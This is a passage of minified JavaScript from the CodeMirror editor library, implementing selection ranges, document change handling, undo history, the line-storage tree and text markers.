e=s.scrollLeft-a.wheelStartX,t=s.scrollTop-a.wheelStartY,n=t&&a.wheelDY&&t/a.wheelDY||e&&a.wheelDX&&e/a.wheelDX;a.wheelStartX=a.wheelStartY=null,n&&(vr=(vr*gr+n)/(gr+1),++gr)}},200)):(a.wheelDX+=r,a.wheelDY+=i))}}s?vr=-.53:o?vr=15:d?vr=-.7:f&&(vr=-1/3);var kr=function(e,t){this.ranges=e,this.primIndex=t};kr.prototype.primary=function(){return this.ranges[this.primIndex]},kr.prototype.equals=function(e){if(e==this)return!0;if(e.primIndex!=this.primIndex||e.ranges.length!=this.ranges.length)return!1;for(var t=0;t<this.ranges.length;t++){var n=this.ranges[t],o=e.ranges[t];if(!ot(n.anchor,o.anchor)||!ot(n.head,o.head))return!1}return!0},kr.prototype.deepCopy=function(){for(var e=[],t=0;t<this.ranges.length;t++)e[t]=new wr(rt(this.ranges[t].anchor),rt(this.ranges[t].head));return new kr(e,this.primIndex)},kr.prototype.somethingSelected=function(){for(var e=0;e<this.ranges.length;e++)if(!this.ranges[e].empty())return!0;return!1},kr.prototype.contains=function(e,t){t||(t=e);for(var n=0;n<this.ranges.length;n++){var o=this.ranges[n];if(nt(t,o.from())>=0&&nt(e,o.to())<=0)return n}return-1};var wr=function(e,t){this.anchor=e,this.head=t};function Cr(e,t,n){var o=e&&e.options.selectionsMayTouch,r=t[n];t.sort(function(e,t){return nt(e.from(),t.from())}),n=V(t,r);for(var i=1;i<t.length;i++){var a=t[i],s=t[i-1],l=nt(s.to(),a.from());if(o&&!a.empty()?l>0:l>=0){var u=at(s.from(),a.from()),c=it(s.to(),a.to()),d=s.empty()?a.from()==a.head:s.from()==s.head;i<=n&&--n,t.splice(--i,2,new wr(d?c:u,d?u:c))}}return new kr(t,n)}function Er(e,t){return new kr([new wr(e,t||e)],0)}function Or(e){return e.text?tt(e.from.line+e.text.length-1,Y(e.text).length+(1==e.text.length?e.from.ch:0)):e.to}function Sr(e,t){if(nt(e,t.from)<0)return e;if(nt(e,t.to)<=0)return Or(t);var n=e.line+t.text.length-(t.to.line-t.from.line)-1,o=e.ch;return e.line==t.to.line&&(o+=Or(t).ch-t.to.ch),tt(n,o)}function Tr(e,t){for(var n=[],o=0;o<e.sel.ranges.length;o++){var r=e.sel.ranges[o];n.push(new wr(Sr(r.anchor,t),Sr(r.head,t)))}return Cr(e.cm,n,e.sel.primIndex)}function Mr(e,t,n){return e.line==t.line?tt(n.line,e.ch-t.ch+n.ch):tt(n.line+(e.line-t.line),e.ch)}function xr(e){e.doc.mode=We(e.options,e.doc.modeOption),Pr(e)}function Pr(e){e.doc.iter(function(e){e.stateAfter&&(e.stateAfter=null),e.styles&&(e.styles=null)}),e.doc.modeFrontier=e.doc.highlightFrontier=e.doc.first,nr(e,100),e.state.modeGen++,e.curOp&&co(e)}function jr(e,t){return 0==t.from.ch&&0==t.to.ch&&""==Y(t.text)&&(!e.cm||e.cm.options.wholeLineUpdateBefore)}function Lr(e,t,n,o){function r(e){return n?n[e]:null}function i(e,n,r){!function(e,t,n,o){e.text=t,e.stateAfter&&(e.stateAfter=null),e.styles&&(e.styles=null),null!=e.order&&(e.order=null),xt(e),Pt(e,n);var r=o?o(e):1;r!=e.height&&Ye(e,r)}(e,n,r,o),un(e,"change",e,t)}function a(e,t){for(var n=[],i=e;i<t;++i)n.push(new Kt(u[i],r(i),o));return n}var s=t.from,l=t.to,u=t.text,c=Ke(e,s.line),d=Ke(e,l.line),p=Y(u),f=r(u.length-1),h=l.line-s.line;if(t.full)e.insert(0,a(0,u.length)),e.remove(u.length,e.size-u.length);else if(jr(e,t)){var m=a(0,u.length-1);i(d,d.text,f),h&&e.remove(s.line,h),m.length&&e.insert(s.line,m)}else if(c==d)if(1==u.length)i(c,c.text.slice(0,s.ch)+p+c.text.slice(l.ch),f);else{var g=a(1,u.length-1);g.push(new Kt(p+c.text.slice(l.ch),f,o)),i(c,c.text.slice(0,s.ch)+u[0],r(0)),e.insert(s.line+1,g)}else if(1==u.length)i(c,c.text.slice(0,s.ch)+u[0]+d.text.slice(l.ch),r(0)),e.remove(s.line+1,h);else{i(c,c.text.slice(0,s.ch)+u[0],r(0)),i(d,p+d.text.slice(l.ch),f);var v=a(1,u.length-1);h>1&&e.remove(s.line+1,h-1),e.insert(s.line+1,v)}un(e,"change",e,t)}function Nr(e,t,n){!function e(o,r,i){if(o.linked)for(var a=0;a<o.linked.length;++a){var s=o.linked[a];if(s.doc!=r){var l=i&&s.sharedHist;n&&!l||(t(s.doc,l),e(s.doc,o,l))}}}(e,null,!0)}function Dr(e,t){if(t.cm)throw new Error("This document is already in use.");e.doc=t,t.cm=e,so(e),xr(e),Ar(e),e.options.lineWrapping||qt(e),e.options.mode=t.modeOption,co(e)}function Ar(e){("rtl"==e.doc.direction?D:T)(e.display.lineDiv,"CodeMirror-rtl")}function Fr(e){this.done=[],this.undone=[],this.undoDepth=1/0,this.lastModTime=this.lastSelTime=0,this.lastOp=this.lastSelOp=null,this.lastOrigin=this.lastSelOrigin=null,this.generation=this.maxGeneration=e||1}function Ir(e,t){var n={from:rt(t.from),to:Or(t),text:$e(e,t.from,t.to)};return Hr(e,n,t.from.line,t.to.line+1),Nr(e,function(e){return Hr(e,n,t.from.line,t.to.line+1)},!0),n}function Rr(e){for(;e.length;){var t=Y(e);if(!t.ranges)break;e.pop()}}function Br(e,t,n,o){var r=e.history;r.undone.length=0;var i,a,s=+new Date;if((r.lastOp==o||r.lastOrigin==t.origin&&t.origin&&("+"==t.origin.charAt(0)&&r.lastModTime>s-(e.cm?e.cm.options.historyEventDelay:500)||"*"==t.origin.charAt(0)))&&(i=function(e,t){return t?(Rr(e.done),Y(e.done)):e.done.length&&!Y(e.done).ranges?Y(e.done):e.done.length>1&&!e.done[e.done.length-2].ranges?(e.done.pop(),Y(e.done)):void 0}(r,r.lastOp==o)))a=Y(i.changes),0==nt(t.from,t.to)&&0==nt(t.from,a.to)?a.to=Or(t):i.changes.push(Ir(e,t));else{var l=Y(r.done);for(l&&l.ranges||Vr(e.sel,r.done),i={changes:[Ir(e,t)],generation:r.generation},r.done.push(i);r.done.length>r.undoDepth;)r.done.shift(),r.done[0].ranges||r.done.shift()}r.done.push(n),r.generation=++r.maxGeneration,r.lastModTime=r.lastSelTime=s,r.lastOp=r.lastSelOp=o,r.lastOrigin=r.lastSelOrigin=t.origin,a||ge(e,"historyAdded")}function Wr(e,t,n,o){var r=e.history,i=o&&o.origin;n==r.lastSelOp||i&&r.lastSelOrigin==i&&(r.lastModTime==r.lastSelTime&&r.lastOrigin==i||function(e,t,n,o){var r=t.charAt(0);return"*"==r||"+"==r&&n.ranges.length==o.ranges.length&&n.somethingSelected()==o.somethingSelected()&&new Date-e.history.lastSelTime<=(e.cm?e.cm.options.historyEventDelay:500)}(e,i,Y(r.done),t))?r.done[r.done.length-1]=t:Vr(t,r.done),r.lastSelTime=+new Date,r.lastSelOrigin=i,r.lastSelOp=n,o&&!1!==o.clearRedo&&Rr(r.undone)}function Vr(e,t){var n=Y(t);n&&n.ranges&&n.equals(e)||t.push(e)}function Hr(e,t,n,o){var r=t["spans_"+e.id],i=0;e.iter(Math.max(e.first,n),Math.min(e.first+e.size,o),function(n){n.markedSpans&&((r||(r=t["spans_"+e.id]={}))[i]=n.markedSpans),++i})}function Gr(e){if(!e)return null;for(var t,n=0;n<e.length;++n)e[n].marker.explicitlyCleared?t||(t=e.slice(0,n)):t&&t.push(e[n]);return t?t.length?t:null:e}function Ur(e,t){var n=function(e,t){var n=t["spans_"+e.id];if(!n)return null;for(var o=[],r=0;r<t.text.length;++r)o.push(Gr(n[r]));return o}(e,t),o=Tt(e,t);if(!n)return o;if(!o)return n;for(var r=0;r<n.length;++r){var i=n[r],a=o[r];if(i&&a)e:for(var s=0;s<a.length;++s){for(var l=a[s],u=0;u<i.length;++u)if(i[u].marker==l.marker)continue e;i.push(l)}else a&&(n[r]=a)}return n}function zr(e,t,n){for(var o=[],r=0;r<e.length;++r){var i=e[r];if(i.ranges)o.push(n?kr.prototype.deepCopy.call(i):i);else{var a=i.changes,s=[];o.push({changes:s});for(var l=0;l<a.length;++l){var u=a[l],c=void 0;if(s.push({from:u.from,to:u.to,text:u.text}),t)for(var d in u)(c=d.match(/^spans_(\d+)$/))&&V(t,Number(c[1]))>-1&&(Y(s)[d]=u[d],delete u[d])}}}return o}function qr(e,t,n,o){if(o){var r=e.anchor;if(n){var i=nt(t,r)<0;i!=nt(n,r)<0?(r=t,t=n):i!=nt(t,n)<0&&(t=n)}return new wr(r,t)}return new wr(n||t,t)}function Kr(e,t,n,o,r){null==r&&(r=e.cm&&(e.cm.display.shift||e.extend)),Qr(e,new kr([qr(e.sel.primary(),t,n,r)],0),o)}function $r(e,t,n){for(var o=[],r=e.cm&&(e.cm.display.shift||e.extend),i=0;i<e.sel.ranges.length;i++)o[i]=qr(e.sel.ranges[i],t[i],null,r);var a=Cr(e.cm,o,e.sel.primIndex);Qr(e,a,n)}function Xr(e,t,n,o){var r=e.sel.ranges.slice(0);r[t]=n,Qr(e,Cr(e.cm,r,e.sel.primIndex),o)}function Yr(e,t,n,o){Qr(e,Er(t,n),o)}function Jr(e,t,n){var o=e.history.done,r=Y(o);r&&r.ranges?(o[o.length-1]=t,Zr(e,t,n)):Qr(e,t,n)}function Qr(e,t,n){Zr(e,t,n),Wr(e,e.sel,e.cm?e.cm.curOp.id:NaN,n)}function Zr(e,t,n){(ye(e,"beforeSelectionChange")||e.cm&&ye(e.cm,"beforeSelectionChange"))&&(t=function(e,t,n){var o={ranges:t.ranges,update:function(t){this.ranges=[];for(var n=0;n<t.length;n++)this.ranges[n]=new wr(lt(e,t[n].anchor),lt(e,t[n].head))},origin:n&&n.origin};return ge(e,"beforeSelectionChange",e,o),e.cm&&ge(e.cm,"beforeSelectionChange",e.cm,o),o.ranges!=t.ranges?Cr(e.cm,o.ranges,o.ranges.length-1):t}(e,t,n));var o=n&&n.bias||(nt(t.primary().head,e.sel.primary().head)<0?-1:1);ei(e,ni(e,t,o,!0)),n&&!1===n.scroll||!e.cm||jo(e.cm)}function ei(e,t){t.equals(e.sel)||(e.sel=t,e.cm&&(e.cm.curOp.updateInput=1,e.cm.curOp.selectionChanged=!0,be(e.cm)),un(e,"cursorActivity",e))}function ti(e){ei(e,ni(e,e.sel,null,!1))}function ni(e,t,n,o){for(var r,i=0;i<t.ranges.length;i++){var a=t.ranges[i],s=t.ranges.length==e.sel.ranges.length&&e.sel.ranges[i],l=ri(e,a.anchor,s&&s.anchor,n,o),u=ri(e,a.head,s&&s.head,n,o);(r||l!=a.anchor||u!=a.head)&&(r||(r=t.ranges.slice(0,i)),r[i]=new wr(l,u))}return r?Cr(e.cm,r,t.primIndex):t}function oi(e,t,n,o,r){var i=Ke(e,t.line);if(i.markedSpans)for(var a=0;a<i.markedSpans.length;++a){var s=i.markedSpans[a],l=s.marker,u="selectLeft"in l?!l.selectLeft:l.inclusiveLeft,c="selectRight"in l?!l.selectRight:l.inclusiveRight;if((null==s.from||(u?s.from<=t.ch:s.from<t.ch))&&(null==s.to||(c?s.to>=t.ch:s.to>t.ch))){if(r&&(ge(l,"beforeCursorEnter"),l.explicitlyCleared)){if(i.markedSpans){--a;continue}break}if(!l.atomic)continue;if(n){var d=l.find(o<0?1:-1),p=void 0;if((o<0?c:u)&&(d=ii(e,d,-o,d&&d.line==t.line?i:null)),d&&d.line==t.line&&(p=nt(d,n))&&(o<0?p<0:p>0))return oi(e,d,t,o,r)}var f=l.find(o<0?-1:1);return(o<0?u:c)&&(f=ii(e,f,o,f.line==t.line?i:null)),f?oi(e,f,t,o,r):null}}return t}function ri(e,t,n,o,r){var i=o||1,a=oi(e,t,n,i,r)||!r&&oi(e,t,n,i,!0)||oi(e,t,n,-i,r)||!r&&oi(e,t,n,-i,!0);return a||(e.cantEdit=!0,tt(e.first,0))}function ii(e,t,n,o){return n<0&&0==t.ch?t.line>e.first?lt(e,tt(t.line-1)):null:n>0&&t.ch==(o||Ke(e,t.line)).text.length?t.line<e.first+e.size-1?tt(t.line+1,0):null:new tt(t.line,t.ch+n)}function ai(e){e.setSelection(tt(e.firstLine(),0),tt(e.lastLine()),U)}function si(e,t,n){var o={canceled:!1,from:t.from,to:t.to,text:t.text,origin:t.origin,cancel:function(){return o.canceled=!0}};return n&&(o.update=function(t,n,r,i){t&&(o.from=lt(e,t)),n&&(o.to=lt(e,n)),r&&(o.text=r),void 0!==i&&(o.origin=i)}),ge(e,"beforeChange",e,o),e.cm&&ge(e.cm,"beforeChange",e.cm,o),o.canceled?(e.cm&&(e.cm.curOp.updateInput=2),null):{from:o.from,to:o.to,text:o.text,origin:o.origin}}function li(e,t,n){if(e.cm){if(!e.cm.curOp)return Zo(e.cm,li)(e,t,n);if(e.cm.state.suppressEdits)return}if(!(ye(e,"beforeChange")||e.cm&&ye(e.cm,"beforeChange"))||(t=si(e,t,!0))){var o=wt&&!n&&function(e,t,n){var o=null;if(e.iter(t.line,n.line+1,function(e){if(e.markedSpans)for(var t=0;t<e.markedSpans.length;++t){var n=e.markedSpans[t].marker;!n.readOnly||o&&-1!=V(o,n)||(o||(o=[])).push(n)}}),!o)return null;for(var r=[{from:t,to:n}],i=0;i<o.length;++i)for(var a=o[i],s=a.find(0),l=0;l<r.length;++l){var u=r[l];if(!(nt(u.to,s.from)<0||nt(u.from,s.to)>0)){var c=[l,1],d=nt(u.from,s.from),p=nt(u.to,s.to);(d<0||!a.inclusiveLeft&&!d)&&c.push({from:u.from,to:s.from}),(p>0||!a.inclusiveRight&&!p)&&c.push({from:s.to,to:u.to}),r.splice.apply(r,c),l+=c.length-3}}return r}(e,t.from,t.to);if(o)for(var r=o.length-1;r>=0;--r)ui(e,{from:o[r].from,to:o[r].to,text:r?[""]:t.text,origin:t.origin});else ui(e,t)}}function ui(e,t){if(1!=t.text.length||""!=t.text[0]||0!=nt(t.from,t.to)){var n=Tr(e,t);Br(e,t,n,e.cm?e.cm.curOp.id:NaN),pi(e,t,n,Tt(e,t));var o=[];Nr(e,function(e,n){n||-1!=V(o,e.history)||(gi(e.history,t),o.push(e.history)),pi(e,t,null,Tt(e,t))})}}function ci(e,t,n){var o=e.cm&&e.cm.state.suppressEdits;if(!o||n){for(var r,i=e.history,a=e.sel,s="undo"==t?i.done:i.undone,l="undo"==t?i.undone:i.done,u=0;u<s.length&&(r=s[u],n?!r.ranges||r.equals(e.sel):r.ranges);u++);if(u!=s.length){for(i.lastOrigin=i.lastSelOrigin=null;;){if(!(r=s.pop()).ranges){if(o)return void s.push(r);break}if(Vr(r,l),n&&!r.equals(e.sel))return void Qr(e,r,{clearRedo:!1});a=r}var c=[];Vr(a,l),l.push({changes:c,generation:i.generation}),i.generation=r.generation||++i.maxGeneration;for(var d=ye(e,"beforeChange")||e.cm&&ye(e.cm,"beforeChange"),p=function(n){var o=r.changes[n];if(o.origin=t,d&&!si(e,o,!1))return s.length=0,{};c.push(Ir(e,o));var i=n?Tr(e,o):Y(s);pi(e,o,i,Ur(e,o)),!n&&e.cm&&e.cm.scrollIntoView({from:o.from,to:Or(o)});var a=[];Nr(e,function(e,t){t||-1!=V(a,e.history)||(gi(e.history,o),a.push(e.history)),pi(e,o,null,Ur(e,o))})},f=r.changes.length-1;f>=0;--f){var h=p(f);if(h)return h.v}}}}function di(e,t){if(0!=t&&(e.first+=t,e.sel=new kr(J(e.sel.ranges,function(e){return new wr(tt(e.anchor.line+t,e.anchor.ch),tt(e.head.line+t,e.head.ch))}),e.sel.primIndex),e.cm)){co(e.cm,e.first,e.first-t,t);for(var n=e.cm.display,o=n.viewFrom;o<n.viewTo;o++)po(e.cm,o,"gutter")}}function pi(e,t,n,o){if(e.cm&&!e.cm.curOp)return Zo(e.cm,pi)(e,t,n,o);if(t.to.line<e.first)di(e,t.text.length-1-(t.to.line-t.from.line));else if(!(t.from.line>e.lastLine())){if(t.from.line<e.first){var r=t.text.length-1-(e.first-t.from.line);di(e,r),t={from:tt(e.first,0),to:tt(t.to.line+r,t.to.ch),text:[Y(t.text)],origin:t.origin}}var i=e.lastLine();t.to.line>i&&(t={from:t.from,to:tt(i,Ke(e,i).text.length),text:[t.text[0]],origin:t.origin}),t.removed=$e(e,t.from,t.to),n||(n=Tr(e,t)),e.cm?function(e,t,n){var o=e.doc,r=e.display,i=t.from,a=t.to,s=!1,l=i.line;e.options.lineWrapping||(l=Je(Bt(Ke(o,i.line))),o.iter(l,a.line+1,function(e){if(e==r.maxLine)return s=!0,!0})),o.sel.contains(t.from,t.to)>-1&&be(e),Lr(o,t,n,ao(e)),e.options.lineWrapping||(o.iter(l,i.line+t.text.length,function(e){var t=zt(e);t>r.maxLineLength&&(r.maxLine=e,r.maxLineLength=t,r.maxLineChanged=!0,s=!1)}),s&&(e.curOp.updateMaxLine=!0)),function(e,t){if(e.modeFrontier=Math.min(e.modeFrontier,t),!(e.highlightFrontier<t-10)){for(var n=e.first,o=t-1;o>n;o--){var r=Ke(e,o).stateAfter;if(r&&(!(r instanceof ct)||o+r.lookAhead<t)){n=o+1;break}}e.highlightFrontier=Math.min(e.highlightFrontier,n)}}(o,i.line),nr(e,400);var u=t.text.length-(a.line-i.line)-1;t.full?co(e):i.line!=a.line||1!=t.text.length||jr(e.doc,t)?co(e,i.line,a.line+1,u):po(e,i.line,"text");var c=ye(e,"changes"),d=ye(e,"change");if(d||c){var p={from:i,to:a,text:t.text,removed:t.removed,origin:t.origin};d&&un(e,"change",e,p),c&&(e.curOp.changeObjs||(e.curOp.changeObjs=[])).push(p)}e.display.selForContextMenu=null}(e.cm,t,o):Lr(e,t,o),Zr(e,n,U),e.cantEdit&&ri(e,tt(e.firstLine(),0))&&(e.cantEdit=!1)}}function fi(e,t,n,o,r){var i;o||(o=n),nt(o,n)<0&&(n=(i=[o,n])[0],o=i[1]),"string"==typeof t&&(t=e.splitLines(t)),li(e,{from:n,to:o,text:t,origin:r})}function hi(e,t,n,o){n<e.line?e.line+=o:t<e.line&&(e.line=t,e.ch=0)}function mi(e,t,n,o){for(var r=0;r<e.length;++r){var i=e[r],a=!0;if(i.ranges){i.copied||((i=e[r]=i.deepCopy()).copied=!0);for(var s=0;s<i.ranges.length;s++)hi(i.ranges[s].anchor,t,n,o),hi(i.ranges[s].head,t,n,o)}else{for(var l=0;l<i.changes.length;++l){var u=i.changes[l];if(n<u.from.line)u.from=tt(u.from.line+o,u.from.ch),u.to=tt(u.to.line+o,u.to.ch);else if(t<=u.to.line){a=!1;break}}a||(e.splice(0,r+1),r=0)}}}function gi(e,t){var n=t.from.line,o=t.to.line,r=t.text.length-(o-n)-1;mi(e.done,n,o,r),mi(e.undone,n,o,r)}function vi(e,t,n,o){var r=t,i=t;return"number"==typeof t?i=Ke(e,st(e,t)):r=Je(t),null==r?null:(o(i,r)&&e.cm&&po(e.cm,r,n),i)}function bi(e){this.lines=e,this.parent=null;for(var t=0,n=0;n<e.length;++n)e[n].parent=this,t+=e[n].height;this.height=t}function yi(e){this.children=e;for(var t=0,n=0,o=0;o<e.length;++o){var r=e[o];t+=r.chunkSize(),n+=r.height,r.parent=this}this.size=t,this.height=n,this.parent=null}wr.prototype.from=function(){return at(this.anchor,this.head)},wr.prototype.to=function(){return it(this.anchor,this.head)},wr.prototype.empty=function(){return this.head.line==this.anchor.line&&this.head.ch==this.anchor.ch},bi.prototype={chunkSize:function(){return this.lines.length},removeInner:function(e,t){for(var n=e,o=e+t;n<o;++n){var r=this.lines[n];this.height-=r.height,$t(r),un(r,"delete")}this.lines.splice(e,t)},collapse:function(e){e.push.apply(e,this.lines)},insertInner:function(e,t,n){this.height+=n,this.lines=this.lines.slice(0,e).concat(t).concat(this.lines.slice(e));for(var o=0;o<t.length;++o)t[o].parent=this},iterN:function(e,t,n){for(var o=e+t;e<o;++e)if(n(this.lines[e]))return!0}},yi.prototype={chunkSize:function(){return this.size},removeInner:function(e,t){this.size-=t;for(var n=0;n<this.children.length;++n){var o=this.children[n],r=o.chunkSize();if(e<r){var i=Math.min(t,r-e),a=o.height;if(o.removeInner(e,i),this.height-=a-o.height,r==i&&(this.children.splice(n--,1),o.parent=null),0==(t-=i))break;e=0}else e-=r}if(this.size-t<25&&(this.children.length>1||!(this.children[0]instanceof bi))){var s=[];this.collapse(s),this.children=[new bi(s)],this.children[0].parent=this}},collapse:function(e){for(var t=0;t<this.children.length;++t)this.children[t].collapse(e)},insertInner:function(e,t,n){this.size+=t.length,this.height+=n;for(var o=0;o<this.children.length;++o){var r=this.children[o],i=r.chunkSize();if(e<=i){if(r.insertInner(e,t,n),r.lines&&r.lines.length>50){for(var a=r.lines.length%25+25,s=a;s<r.lines.length;){var l=new bi(r.lines.slice(s,s+=25));r.height-=l.height,this.children.splice(++o,0,l),l.parent=this}r.lines=r.lines.slice(0,a),this.maybeSpill()}break}e-=i}},maybeSpill:function(){if(!(this.children.length<=10)){var e=this;do{var t=e.children.splice(e.children.length-5,5),n=new yi(t);if(e.parent){e.size-=n.size,e.height-=n.height;var o=V(e.parent.children,e);e.parent.children.splice(o+1,0,n)}else{var r=new yi(e.children);r.parent=e,e.children=[r,n],e=r}n.parent=e.parent}while(e.children.length>10);e.parent.maybeSpill()}},iterN:function(e,t,n){for(var o=0;o<this.children.length;++o){var r=this.children[o],i=r.chunkSize();if(e<i){var a=Math.min(t,i-e);if(r.iterN(e,a,n))return!0;if(0==(t-=a))break;e=0}else e-=i}}};var _i=function(e,t,n){if(n)for(var o in n)n.hasOwnProperty(o)&&(this[o]=n[o]);this.doc=e,this.node=t};function ki(e,t,n){Ut(t)<(e.curOp&&e.curOp.scrollTop||e.doc.scrollTop)&&Po(e,n)}_i.prototype.clear=function(){var e=this.doc.cm,t=this.line.widgets,n=this.line,o=Je(n);if(null!=o&&t){for(var r=0;r<t.length;++r)t[r]==this&&t.splice(r--,1);t.length||(n.widgets=null);var i=wn(this);Ye(n,Math.max(0,n.height-i)),e&&(Qo(e,function(){ki(e,n,-i),po(e,o,"widget")}),un(e,"lineWidgetCleared",e,this,o))}},_i.prototype.changed=function(){var e=this,t=this.height,n=this.doc.cm,o=this.line;this.height=null;var r=wn(this)-t;r&&(Ht(this.doc,o)||Ye(o,o.height+r),n&&Qo(n,function(){n.curOp.forceUpdate=!0,ki(n,o,r),un(n,"lineWidgetChanged",n,e,Je(o))}))},_e(_i);var wi=0,Ci=function(e,t){this.lines=[],this.type=t,this.doc=e,this.id=++wi};function Ei(e,t,n,o,r){if(o&&o.shared)return function(e,t,n,o,r){(o=R(o)).shared=!1;var i=[Ei(e,t,n,o,r)],a=i[0],s=o.widgetNode;return Nr(e,function(e){s&&(o.widgetNode=s.cloneNode(!0)),i.push(Ei(e,lt(e,t),lt(e,n),o,r));for(var l=0;l<e.linked.length;++l)if(e.linked[l].isParent)return;a=Y(i)}),new Oi(i,a)}(e,t,n,o,r);if(e.cm&&!e.cm.curOp)return Zo(e.cm,Ei)(e,t,n,o,r);var i=new Ci(e,r),a=nt(t,n);if(o&&R(o,i,!1),a>0||0==a&&!1!==i.clearWhenEmpty)return i;if(i.replacedWith&&(i.collapsed=!0,i.widgetNode=j("span",[i.replacedWith],"CodeMirror-widget"),o.handleMouseEvents||i.widgetNode.setAttribute("cm-ignore-events","true"),o.insertLeft&&(i.widgetNode.insertLeft=!0)),i.collapsed){if(Rt(e,t.line,t,n,i)||t.line!=n.line&&Rt(e,n.line,t,n,i))throw new Error("Inserting collapsed marker partially overlapping an existing one");Ct=!0}i.addToHistory&&Br(e,{from:t,to:n,origin:"markText"},e.sel,NaN);var s,l=t.line,u=e.cm;if(e.iter(l,n.line+1,function(e){u&&i.collapsed&&!u.options.lineWrapping&&Bt(e)==u.display.maxLine&&(s=!0),i.collapsed&&l!=t.line&&Ye(e,0),function(e,t){e.markedSpans=e.markedSpans?e.markedSpans.concat([t]):[t],t.marker.attachLine(e)}(e,new Et(i,l==t.line?t.ch:null,l==n.line?n.ch:null)),++l}),i.collapsed&&e.iter(t.line,n.line+1,function(t){Ht(e,t)&&Ye(t,0)}),i.clearOnEnter&&fe(i,"beforeCursorEnter",function(){return i.clear()}),i.readOnly&&(wt=!0,(e.history.done.length||e.history.undone.length)&&e.clearHistory()),i.collapsed&&(i.id=++wi,i.atomic=!0),u){if(s&&(u.curOp.updateMaxLine=!0),i.collapsed)co(u,t.line,n.line+1);else if(i.className||i.startStyle||i.endStyle||i.css||i.attributes||i.title)for(var c=t.line;c<=n.line;c++)po(u,c,"text");i.atomic&&ti(u.doc),un(u,"markerAdded",u,i)}return i}Ci.prototype.clear=function(){if(!this.explicitlyCleared){var e=this.doc.cm,t=e&&!e.curOp;if(t&&qo(e),ye(this,"clear")){var n=this.find();n&&un(this,"clear",n.from,n.to)}for(var o=null,r=null,i=0;i<this.lines.length;++i){var a=this.lines[i],s=Ot(a.markedSpans,this);e&&!this.collapsed?po(e,Je(a),"text"):e&&(null!=s.to&&(r=Je(a)),null!=s.from&&(o=Je(a))),a.markedSpans=St(a.markedSpans,s),null==s.from&&this.collapsed&&!Ht(this.doc,a)&&e&&Ye(a,no(e.display))}if(e&&this.collapsed&&!e.options.lineWrapping)for(var l=0;l<this.lines.length;++l){var u=Bt(this.lines[l]),c=zt(u);c>e.display.maxLineLength&&(e.display.maxLine=u,e.display.maxLineLength=c,e.display.maxLineChanged=!0)}null!=o&&e&&this.collapsed&&co(e,o,r+1),this.lines.length=0,this.explicitlyCleared=!0,this.atomic&&this.doc.cantEdit&&(this.doc.cantEdit=!1,e&&ti(e.doc)),e&&un(e,"markerCleared",e,this,o,r),t&&Ko(e),this.parent&&this.parent.clear()}},Ci.prototype.find=function(e,t){var n,o;null==e&&"bookmark"==this.type&&(e=1);for(var r=0;r<this.lines.length;++r){var i=this.lines[r],a=Ot(i.markedSpans,this);if(null!=a.from&&(n=tt(t?i:Je(i),a.from),-1==e))return n;if(null!=a.to&&(o=tt(t?i:Je(i),a.to),1==e))return o}return n&&{from:n,to:o}},Ci.prototype.changed=function(){var e=this,t=this.find(-1,!0),n=this,o=this.doc.cm;t&&o&&Qo(o,function(){var r=t.line,i=Je(t.line),a=Ln(o,i);if(a&&(Bn(a),o.curOp.selectionChanged=o.curOp.forceUpdate=!0),o.curOp.updateMaxLine=!0,!Ht(n.doc,r)&&null!=n.height){var s=n.height;n.height=null;var l=wn(n)-s;l&&Ye(r,r.height+l)}un(o,"markerChanged",o,e)})},Ci.prototype.attachLine=function(e){if(!this.lines.length&&this.doc.cm){var t=this.doc.cm.curOp;t.maybeHiddenMarkers&&-1!=V(t.maybeHiddenMarkers,this)||(t.maybeUnhiddenMarkers||(t.maybeUnhiddenMarkers=[])).push(this)}this.lines.push(e)},Ci.prototype.detachLine=function(e){if(this.lines.splice(V(this.lines,e),1),!this.lines.length&&this.doc.cm){var t=this.doc.cm.curOp;(t.maybeHiddenMarkers||(t.maybeHiddenMarkers=[])).push(this)}},_e(Ci);var Oi=function(e,t){this.markers=e,this.primary=t;for(var n=0;n<e.length;++n)e[n].parent=this};function Si(e){return e.findMarks(tt(e.first,0),e.clipPos(tt(e.lastLine())),function(e){return e.parent})}function Ti(e){for(var t=function(t){var n=e[t],o=[n.primary.doc];Nr(n.primary.doc,function(e){return o.push(e)});for(var r=0;r<n.markers.length;r++){var i=n.markers[r];-1==V(o,i.doc)&&(i.parent=null,n.markers.splice(r--,1))}},n=0;n<e.length;n++)t(n)}Oi.prototype.clear=function(){if(!this.explicitlyCleared){this.explicitlyCleared=!0;for(var e=0;e<this.markers.length;++e)this.markers[e].clear();un(this,"clear")}},Oi.prototype.find=function(e,t){return this.primary.find(e,t)},_e(Oi);var Mi=0,xi=function(e,t,n,o,r){if(!(this instanceof xi))return new xi(e,t,n,o,r);null==n&&(n=0),yi.call(this,[new bi([new Kt("",null)])]),this.first=n,this.scrollTop=this.scrollLeft=0,this.cantEdit=!1,this.cleanGeneration=1,this.modeFrontier=this.highlightFrontier=n;var i=tt(n,0);this.sel=Er(i),this.history=new Fr(null),this.id=++Mi,this.modeOption=t,this.lineSep=o,this.direction="rtl"==r?"rtl":"ltr",this.extend=!1,"string"==typeof e&&(e=this.splitLines(e)),Lr(this,{from:i,to:i,text:e}),Qr(this,Er(i),U)};xi.prototype=Z(yi.prototype,{constructor:xi,iter:function(e,t,n){n?this.iterN(e-this.first,t-e,n):this.iterN(this.first,this.first+this.size,e)},insert:function(e,t){for(var n=0,o=0;o<t.length;++o)n+=t[o].height;this.insertInner(e-this.first,t,n)},remove:function(e,t){this.removeInner(e-this.first,t)},getValue:function(e){var t=Xe(this,this.first,this.first+this.size);return!1===e?t:t.join(e||this.lineSeparator())},setValue:tr(function(e){var t=tt(this.first,0),n=this.first+this.size-1;li(this,{from:t,to:tt(n,Ke(this,n).text.length),text:this.splitLines(e),origin:"setValue",full:!0},!0),this.cm&&Lo(this.cm,0,0),Qr(this,Er(t),U)}),replaceRange:function(e,t,n,o){t=lt(this,t),n=n?lt(this,n):t,fi(this,e,t,n,o)},getRange:function(e,t,n){var o=$e(this,lt(this,e),lt(this,t));return!1===n?o:o.join(n||this.lineSeparator())},getLine:function(e){var t=this.getLineHandle(e);return t&&t.text},getLineHandle:function(e){if(Ze(this,e))return Ke(this,e)},getLineNumber:function(e){return Je(e)},getLineHandleVisualStart:function(e){return"number"==typeof e&&(e=Ke(this,e)),Bt(e)},lineCount:function(){return this.size},firstLine:function(){return this.first},lastLine:function(){return this.first+this.size-1},clipPos:function(e){return lt(this,e)},getCursor:function(e){var t=this.sel.primary();return null==e||"head"==e?t.head:"anchor"==e?t.anchor:"end"==e||"to"==e||!1===e?t.to():t.from()},listSelections:function(){return this.sel.ranges},somethingSelected:function(){return 